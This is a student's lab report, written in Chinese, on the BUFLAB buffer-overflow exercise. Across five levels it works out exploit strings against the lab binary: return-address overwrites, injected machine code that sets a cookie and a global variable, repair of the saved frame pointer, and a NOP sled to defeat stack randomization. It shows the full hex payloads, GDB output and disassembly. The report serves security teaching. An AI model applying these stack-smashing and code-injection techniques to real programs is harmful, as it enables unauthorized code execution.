BUFLAB 实验报告

2022013014 黄泽文 未央-软件21

Level 0: Candle

本题只要求能够函数在 `ret` 时能够直接跳转到 `smoke` 函数，而对栈结构的完整性不做要求。因而我们只需要构造足够长的字符串，并在适当的位置用 `smoke` 函数的地址覆盖 `Rtn Addr` 即可。

观察 `getbuf` 函数与 `Gets` 函数，不难发现 `buf[0]` 与 `Rtn Addr` 的地址相对位置是固定的，通过GDB 进行简单的实验也可以验证这一点：

```
(gdb)run
Type string:01234567

Breakpoint 1, 0x0804929b in getbuf ()
(gdb) p /x $esp
$1 = 0x55682f44
(gdb) p /x *0x55682f44
$2 = 0x8048bf3 # Addr in <test>
(gdb) p /x *0x55682f18
$3 = 0x33323130 # ASCII of "0123"
```

具体地说，`&buf[0] = 0x55682f18`，`&Rtn Addr = 0x55682f44`，在二者之间还有 `Saved %ebx`、`Saved %ebp` 等值，也可以直接覆盖。因而我们构造一个由 $0x55682f44 - 0x55682f18 = 44$ 个占位字符和 `smoke` 函数的地址 `0x08048b04`（注意改为大端序）组成的hex 即可。

```
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11
11 11 11 11 11 11 11 11 11 11 11 /* space (size: 44) */
04 8b 04 08 /* Replace the Rtn Addr */
```

Level 1: Sparkler

虽然不是直接通过 `call` 指令调用函数，但仍可以通过汇编代码具体分析参数所调用的地址。

```
08048b2e <fizz>:
 8048b2e:   55                              push   %ebp
 8048b2f:   89 e5                           mov    %esp,%ebp
 8048b31:   83 ec 18                        sub    $0x18,%esp
 8048b34:   8b 55 08                        mov    0x8(%ebp),%edx # argument
 8048b37:   a1 04 e1 04 08                 mov    0x804e104,%eax # global_cookie
 8048b3c:   39 c2                           cmp    %eax,%edx
```

由第4行可知，参数应该保存在 `%ebp+0x8` 的位置，而由第2行可知，这里的 `%ebp` 和 `getbuf` 中的 `%esp` 对应的是同一个地址。因而我们直接在 Level 0 的基础上做出改进，将 `Rtn Addr` 改为 `fizz` 的地址 `0x08048b2e`，再在末尾加上4个占位字符和 `cookie` 值（注意改为大端序）即可。

```
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11
11 11 11 11 11 11 11 11 11 11 11 /* space (size: 44) */
2e 8b 04 08 /* Replace the Rtn Addr, %esp */
11 11 11 11 /* space, %esp + 4 */
9b 54 3b 29 /* argument, %esp + 8 */
```

Level 2: Firecracker

本题仍不要求栈结构的完整性，因而可以直接将 `Rtn Addr` 的值改为 `&Rtn Addr + 4`，这样程序就会直接执行 hex 中接在后面的汇编代码。

在 GDB 中使用 `info variables` 指令，可以找到 `global_value` 变量的地址 `0x0804e10c`，用 `movl` 指令改变其值即可。

接下来需要调用 `bang` 函数，其地址为 `0x08048b82`。此处可以直接通过汇编语言实现。将这个地址压入栈后直接 `ret`，位于栈顶的这个地址则会被视作 `Rtn Addr`，实现跳转。需要注意的是，这里不能直接修改栈顶的已有值，否则跳转时系统的自动出栈会导致 `%esp` 的值比正常情况多4，破坏bang函数执行的栈结构。

编写如下的汇编代码并得到机器码。

```
<2code.S>:
    0:    c7 05 0c e1 04 08 9b     movl    $0x293b549b,0x804e10c # write global_value
    7:    54 3b 29
    a:    68 82 8b 04 08              push    $0x8048b82 # addr of bang func
    f:    c3                                ret
```

将这段代码接在 hex 之后即可。

```
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11
11 11 11 11 11 11 11 11 11 11 11 /* space (size: 44) */
48 2f 68 55 /* Replace the Rtn Addr, so that the instructions below would be executed */
c7 05 0c e1 04 08 9b 54 3b 29 68 82 8b 04 08 c3 /* instructions from 2code.S */
```

Level 3: Dynamite

编写的汇编代码与 Level 2 很类似。函数的返回值保存在 `%eax` 中，直接将 `cookie` 值存入，然后 `ret` 到 `test` 函数的对应地址即可，这个地址原先应该被存储在 `Rtn Addr` 中。

```
<3code.S>:
    0:    b8 9b 54 3b 29              mov     $0x293b549b,%eax
    5:    68 f3 8b 04 08              push    $0x8048bf3
    a:    c3                                ret
```

任何对超过 `buf` 空间的地址的修改都可能造成破坏，为了尽可能减少破坏，不应再将我们所编写的机器码再直接接在 hex 的末尾。可以利用 `buf` 的空间存储这些代码，将 `Rtn Addr` 指向 `buf` 中的对应地址。这样一来，我们就将对栈的修改控制在了 `getbuf` 函数栈帧内部，只要能使其正常返回到 `test`，则必然不会引起 canary 的报错。得到初步的 hex ：

```
/* (cracked) */
11 /* space, 0x55682f18 */
b8 9b 54 3b 29 68 f3 8b 04 08 c3 /* our machine code, begin at 0x55682f19 */
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 /*
cracked space, which may replace some useful value, fix later */
19 2f 68 55 /* Rtn Addr, redirect to our machine code */
```

但因为需要修改 `Rtn Addr`，在此之下的 `Saved %ebx`、`Saved %ebp` 等值将不可避免地被覆盖。通过汇编代码可以分析这些覆盖导致的后果。

```
08049284 <getbuf>:
 8049284:   55                          push   %ebp
 8049285:   89 e5                       mov    %esp,%ebp
 8049287:   83 ec 38                    sub    $0x38,%esp
 804928a:   8d 45 d8                    lea    -0x28(%ebp),%eax
 804928d:   89 04 24                    mov    %eax,(%esp)
 8049290:   e8 d1 fa ff ff              call   8048d66 <Gets> # stack frame of getbuf was
corrupted
 8049295:   b8 01 00 00 00              mov    $0x1,%eax
 804929a:   c9                          leave # the only code that would use the stack.
 804929b:   c3                          ret
```

在第7行以后，只有第9行代码会为了恢复父函数 `test` 的栈结构，而读取被破坏的空间 `Saved %ebp` ——因而这是我们唯一需要复原的值。通过 GDB 得知正常情况下，这个值应该是 `0x55682f70` 。可以在我们所编写的汇编代码中将这个值重新赋给 `%ebp` ，但更简单的方法是：修改 hex ，把 `Saved %ebp` 对应空间上的占位字符直接换成这个值，这样一来自然就保证了 `Saved %ebp` 在覆盖前后的值一致，不需要编写额外的汇编代码。其他被破坏的空间也可以用类似的方法修复，然而这并不必要，因为 `getbuf` 再也不需要使用这些空间了。

```
11 /* space, 0x55682f18 */
b8 9b 54 3b 29 68 f3 8b 04 08 c3 /* our machine code, begin at 0x55682f19 */
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 70 2f 68 55 /*
fixed space, where the last 4 value changed to the original value at memory here (Saved %ebp) */
19 2f 68 55 /* Rtn Addr, redirect to our machine code */
```

Level 4: Nitroglycerin

通过汇编代码配合 GDB 调试，可以得到各个特殊值相对于 `&buf[0]` 的地址，为了便于后续 hex 编写，以 `&buf[i]` 的形式整理如下表。

i	buf[i] meaning	set value
0	beginning of buf	0x90 (nop)
...	/	0x90 (nop)
519 - $len_{machineCode}$	/	0x90 (nop)
519 - $len_{machineCode}$ + 1	/	beginning of our machine code
519	/	end of our machine code, 0xc3 (ret)
520	Saved %ebp	$esp + 0x28, set later
524	Rtn Addr, %esp	center address of "nop"s

编写的汇编代码在修改全局变量与返回 `testn` 上与 Level 3 基本一致，为了应对随机化，这些代码应该放在尽可能高的地址，而将低地址全部用 `nop` 填充。但与 Level 3 相比， `Saved %ebp` 的值不再是一个固定值，不能直接写入到 hex 中。解决的方法是增加前两行汇编代码，通过 `%esp` 重新间接算出这个值，由 `testn` 的汇编代码可知 $\%ebp = \%esp + 0x28$，而在从 `getbufn` 执行 `leave ret` 后， `%esp` 的值恰好已经恢复了 `testn` 中的状态，因而这个计算是正确的。

```
<4code.S>:
    0:    89 e5                       mov     %esp,%ebp
    2:    83 c5 28                    add     $0x28,%ebp
    5:    b8 9b 54 3b 29              mov     $0x293b549b,%eax
    a:    68 67 8c 04 08              push    $0x8048c67
    f:    c3                          ret
```

这段机器码共占用16个字节，代入上表，最后一个`nop`的位置应该是$519 - 16 + 1 = 504$。`Rtn Addr`应该取正中间一个`nop`的中心地址，以使得整个栈在±240随机运动时都能指向一个`nop`；题目给了一定的冗余，即$\frac{504}{2} - 240 = 12$。由$\&buf[0] = \%esp - 524 = 0x55682d38$可知，`buf[0]`的地址在`0x55682d38±240`之间随机移动，取`Rtn Addr`为$0x55682d38 + \frac{504}{2} = 0x55682e34(\pm 12)$均可。

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 /* 504 nops */
89 e5 83 c5 28 b8 9b 54 3b 29 68 67 8c 04 08 c3 /* our machine code */
00 00 00 00 /* Saved %ebp, would be fixed by our machine code */
34 2e 68 55 /* Rtn Addr, which is the avg addr of the center of nops */
```

实验感想

本次实验初上手比较困难，除了已有的计原知识外，还需要了解汇编语言/机器码执行中的常见现象、 GDB 中常用的调试语句等。解决 Level 0 耗费了我比较长的时间，但在明确了解决问题的基本思路后，后面的解题都可以比较高效地完成。

在实际解题中，由于汇编语言与栈中的内存分配都并不是很直观，因而在更多时候，我是直接使用 GDB 调试摸索需要操作的内存空间的。这种做法的效率更高，但容易出现不明白原理却撞运气完成题目的情况。在解决问题后，仍需要通过查阅定义、进行计算分析结果背后的原理，才能比较好地掌握相关知识。